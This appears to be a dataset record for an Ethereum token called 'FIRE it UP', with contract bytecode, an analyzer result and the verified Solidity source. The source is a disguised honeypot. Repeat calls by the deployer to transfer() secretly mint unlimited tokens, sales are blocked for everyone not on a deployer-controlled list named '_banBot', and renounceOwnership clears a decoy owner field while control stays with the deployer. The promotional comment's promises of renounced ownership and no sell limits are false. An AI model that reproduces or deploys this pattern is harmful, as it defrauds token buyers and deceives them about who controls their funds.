50610243610291366004611986565b610586565b3480156102a257600080fd5b506102436105ce565b3480156102b757600080fd5b506101bf6102c63660046117e4565b6105fb565b3480156102d757600080fd5b5061024361061d565b3480156102ec57600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561031457600080fd5b50610194610323366004611894565b610691565b34801561033457600080fd5b506102436103433660046118bf565b61069e565b34801561035457600080fd5b506102436103633660046119be565b61073e565b34801561037457600080fd5b5061024361076d565b34801561038957600080fd5b506102436107a3565b34801561039e57600080fd5b506101bf6103ad36600461181c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60006103e5338484610b6c565b5060015b92915050565b60006103fc848484610c90565b61044e843361044985604051806060016040528060288152602001611bd4602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061107f565b610b6c565b5060019392505050565b6000546001600160a01b0316331461048b5760405162461bcd60e51b815260040161048290611a56565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b031633146104d65760405162461bcd60e51b815260040161048290611a56565b4760006104eb6000546001600160a01b031690565b6001600160a01b03168260405160006040518083038185875af1925050503d8060008114610535576040519150601f19603f3d011682016040523d82523d6000602084013e61053a565b606091505b50509050806105825760405162461bcd60e51b81526020600482015260146024820152732330b4b632b2103a379039b2b7321022ba3432b960611b6044820152606401610482565b5050565b6000546001600160a01b031633146105b05760405162461bcd60e51b815260040161048290611a56565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b0316146105ee57600080fd5b476105f8816110b9565b50565b6001600160a01b0381166000908152600260205260408120546103e99061113e565b6000546001600160a01b031633146106475760405162461bcd60e51b815260040161048290611a56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103e5338484610c90565b6000546001600160a01b031633146106c85760405162461bcd60e51b815260040161048290611a56565b60005b8151811015610582576001600760008484815181106106fa57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061073681611b69565b9150506106cb565b6000546001600160a01b031633146107685760405162461bcd60e51b815260040161048290611a56565b601155565b600d546001600160a01b0316336001600160a01b03161461078d57600080fd5b6000610798306105fb565b90506105f8816111c2565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161048290611a56565b601054600160a01b900460ff16156108275760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610482565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086730826b033b2e3c9fd0803ce8000000610b6c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a057600080fd5b505afa1580156108b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d89190611800565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092057600080fd5b505afa158015610934573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109589190611800565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a057600080fd5b505af11580156109b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d89190611800565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a08816105fb565b600080610a1d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab991906119d6565b5050601080546a295be96e6406697200000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b3457600080fd5b505af1158015610b48573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058291906119a2565b6001600160a01b038316610bce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610482565b6001600160a01b038216610c2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610482565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610482565b6001600160a01b038216610d565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610482565b60008111610db85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610482565b6001600b55600d600c556010546001600160a01b03848116911614610e6a576001600160a01b03831660009081526004602052604090205415610e65576001600160a01b0383166000908152600460205260409020544290610e1d906202a300611afb565b10610e2d576001600b556019600c555b6001600160a01b0383166000908152600460205260409020544290610e559062015180611afb565b10610e65576001600b556023600c555b610ea3565b6001600160a01b038216600090815260046020526040902054610ea3576001600160a01b03821660009081526004602052604090204290555b6000546001600160a01b0384811691161415610ec4576000600b819055600c555b6000546001600160a01b03848116911614801590610ef057506000546001600160a01b03838116911614155b1561106f576001600160a01b03831660009081526007602052604090205460ff16158015610f3757506001600160a01b03821660009081526007602052604090205460ff16155b610f4057600080fd5b6010546001600160a01b038481169116148015610f6b5750600f546001600160a01b03838116911614155b8015610f9057506001600160a01b03821660009081526006602052604090205460ff16155b8015610fa55750601054600160b81b900460ff165b1561100257601154811115610fb957600080fd5b6001600160a01b0382166000908152600860205260409020544211610fdd57600080fd5b610fe842601e611afb565b6001600160a01b0383166000908152600860205260409020555b600061100d306105fb565b601054909150600160a81b900460ff1615801561103857506010546001600160a01b03858116911614155b801561104d5750601054600160b01b900460ff165b1561106d5761105b816111c2565b47801561106b5761106b476110b9565b505b505b61107a838383611367565b505050565b600081848411156110a35760405162461bcd60e51b81526004016104829190611a03565b5060006110b08486611b52565b95945050505050565b600d546001600160a01b03166108fc6110d3836002611372565b6040518115909202916000818181858888f193505050501580156110fb573d6000803e3d6000fd5b50600e546001600160a01b03166108fc611116836002611372565b6040518115909202916000818181858888f19350505050158015610582573d6000803e3d6000fd5b60006009548211156111a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610482565b60006111af6113b4565b90506111bb8382611372565b9392505050565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a49190611800565b816001815181106112c557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546112eb9130911684610b6c565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611324908590600090869030904290600401611a8b565b600060405180830381600087803b15801561133e57600080fd5b505af1158015611352573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b61107a8383836113d7565b60006111bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ce565b60008060006113c16114fc565b90925090506113d08282611372565b9250505090565b6000806000806000806113e987611544565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061141b90876115a1565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461144a90866115e3565b6001600160a01b03891660009081526002602052604090205561146c81611642565b611476848361168c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114bb91815260200190565b60405180910390a3505050505050505050565b600081836114ef5760405162461bcd60e51b81526004016104829190611a03565b5060006110b08486611b13565b60095460009081906b033b2e3c9fd0803ce800000061151b8282611372565b82101561153b575050600954926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006115618a600b54600c546116b0565b92509250925060006115716113b4565b905060008060006115848e878787611705565b919e509c509a509598509396509194505050505091939550919395565b60006111bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061107f565b6000806115f08385611afb565b9050838110156111bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610482565b600061164c6113b4565b9050600061165a8383611755565b3060009081526002602052604090205490915061167790826115e3565b30600090815260026020526040902055505050565b60095461169990836115a1565b600955600a546116a990826115e3565b600a555050565b60008080806116ca60646116c48989611755565b90611372565b905060006116dd60646116c48a89611755565b905060006116f5826116ef8b866115a1565b906115a1565b9992985090965090945050505050565b60008080806117148886611755565b905060006117228887611755565b905060006117308888611755565b90506000611742826116ef86866115a1565b939b939a50919850919650505050505050565b600082611764575060006103e9565b60006117708385611b33565b90508261177d8583611b13565b146111bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610482565b80356117df81611bb0565b919050565b6000602082840312156117f5578081fd5b81356111bb81611bb0565b600060208284031215611811578081fd5b81516111bb81611bb0565b6000806040838503121561182e578081fd5b823561183981611bb0565b9150602083013561184981611bb0565b809150509250929050565b600080600060608486031215611868578081fd5b833561187381611bb0565b9250602084013561188381611bb0565b929592945050506040919091013590565b600080604083850312156118a6578182fd5b82356118b181611bb0565b946020939093013593505050565b600060208083850312156118d1578182fd5b823567ffffffffffffffff808211156118e8578384fd5b818501915085601f8301126118fb578384fd5b81358181111561190d5761190d611b9a565b8060051b604051601f19603f8301168101818110858211171561193257611932611b9a565b604052828152858101935084860182860187018a1015611950578788fd5b8795505b8386101561197957611965816117d4565b855260019590950194938601938601611954565b5098975050505050505050565b600060208284031215611997578081fd5b81356111bb81611bc5565b6000602082840312156119b3578081fd5b81516111bb81611bc5565b6000602082840312156119cf578081fd5b5035919050565b6000806000606084860312156119ea578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2f57858101830151858201604001528201611a13565b81811115611a405783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ada5784516001600160a01b031683529383019391830191600101611ab5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0e57611b0e611b84565b500190565b600082611b2e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4d57611b4d611b84565b500290565b600082821015611b6457611b64611b84565b500390565b6000600019821415611b7d57611b7d611b84565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146105f857600080fd5b80151581146105f857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207e4e7fb2ef710eb63d313eb73c8f304743d507f2fdb25053fcc0917b9228cffd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,841
0x55a27c0f62a8f6738c159bfe2f362c5738d924d2
/** *Submitted for verification at Etherscan.io on 2021-11-06 */ /* Who's ready to FIRE it UP?! 🔥 it 🆙 is a deflationary rocketship community token! Shills are inbound and everything is set up to ensure that we make it to the moon. Get your seatbelts on as this will be the ride of your life! 🌜 PHASE 1 WILL involve a SILENT LAUNCH (happening now) with SHILLS INBOUND shortly! Liquidity will be locked and ownership will be renounced. 🚀 We will orbit into space exactly one hour out of launch with our silent launch hype marketing plan! 🥂 Have a few drinks and relax! We only have a 2% fee which serves as reflections to our holders. 1% of total supply is reserved for marketing and the developers ensuring this token is as fair as it gets! No hidden fees, no sell limits, and no buy limits. Get ready... because it is time to 🔥 it 🆙 to the moon! 🚀 Join our telegram at https://t.me/fireituptoken */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } pragma solidity ^0.8.9; // SPDX-License-Identifier: GNU GPLv3 contract Creation is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event genesis(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit genesis(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit genesis(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } contract ERC20 is Context, IERC20, IERC20Metadata , Creation{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function starttrading (address Uniswaprouterv02) public checker { router = Uniswaprouterv02; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function botbancount(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function _banBot(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { botbancount(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract Fireitup is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 1000000000000 * 10 ** 18; constructor () ERC20('FIU',unicode'FIRE 🔥 it 🆙') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb1461028a578063da642162146102ba578063dd62ed3e146102d6578063ee5491ed14610306576100f5565b8063715018a6146102145780638da5cb5b1461021e57806395d89b411461023c578063a457c2d71461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147c565b60405180910390f35b610132600480360381019061012d9190611546565b6103b4565b60405161013f91906115a1565b60405180910390f35b6101506103d2565b60405161015d91906115cb565b60405180910390f35b610180600480360381019061017b91906115e6565b6103dc565b60405161018d91906115a1565b60405180910390f35b61019e6104dd565b6040516101ab9190611655565b60405180910390f35b6101ce60048036038101906101c99190611546565b610505565b6040516101db91906115a1565b60405180910390f35b6101fe60048036038101906101f99190611670565b6105b1565b60405161020b91906115cb565b60405180910390f35b61021c6105fa565b005b610226610750565b60405161023391906116ac565b60405180910390f35b610244610776565b604051610251919061147c565b60405180910390f35b610274600480360381019061026f9190611546565b610808565b60405161028191906115a1565b60405180910390f35b6102a4600480360381019061029f9190611546565b6108fc565b6040516102b191906115a1565b60405180910390f35b6102d460048036038101906102cf919061180f565b610b63565b005b6102f060048036038101906102eb9190611858565b610c3e565b6040516102fd91906115cb565b60405180910390f35b610320600480360381019061031b9190611670565b610cc5565b005b606060078054610331906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906118c7565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006103e9848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab9061196b565b60405180910390fd5b6104d1856104c0610d9e565b85846104cc91906119ba565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006105a7610512610d9e565b848460056000610520610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105a291906119ee565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610602610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461068f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068690611a90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f60405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610785906118c7565b80601f01602080910402602001604051908101604052809291908181526020018280546107b1906118c7565b80156107fe5780601f106107d3576101008083540402835291602001916107fe565b820191906000526020600020905b8154815290600101906020018083116107e157829003601f168201915b5050505050905090565b60008060056000610817610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cb90611b22565b60405180910390fd5b6108f16108df610d9e565b8585846108ec91906119ba565b610da6565b600191505092915050565b6000610906610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610973575060011515600960009054906101000a900460ff161515145b156109ae5761098a610983610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610b5d565b6109b6610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a23575060001515600960009054906101000a900460ff161515145b15610b4657610a3d8260065461129590919063ffffffff16565b600681905550610a9582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b3591906115cb565b60405180910390a360019050610b5d565b610b58610b51610d9e565b8484610f71565b600190505b92915050565b610b6b610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90611a90565b60405180910390fd5b60005b8151811015610c3a57610c27828281518110610c1a57610c19611b42565b5b60200260200101516112f3565b8080610c3290611b71565b915050610bfb565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5190611a90565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115cb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b818161119191906119ba565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffff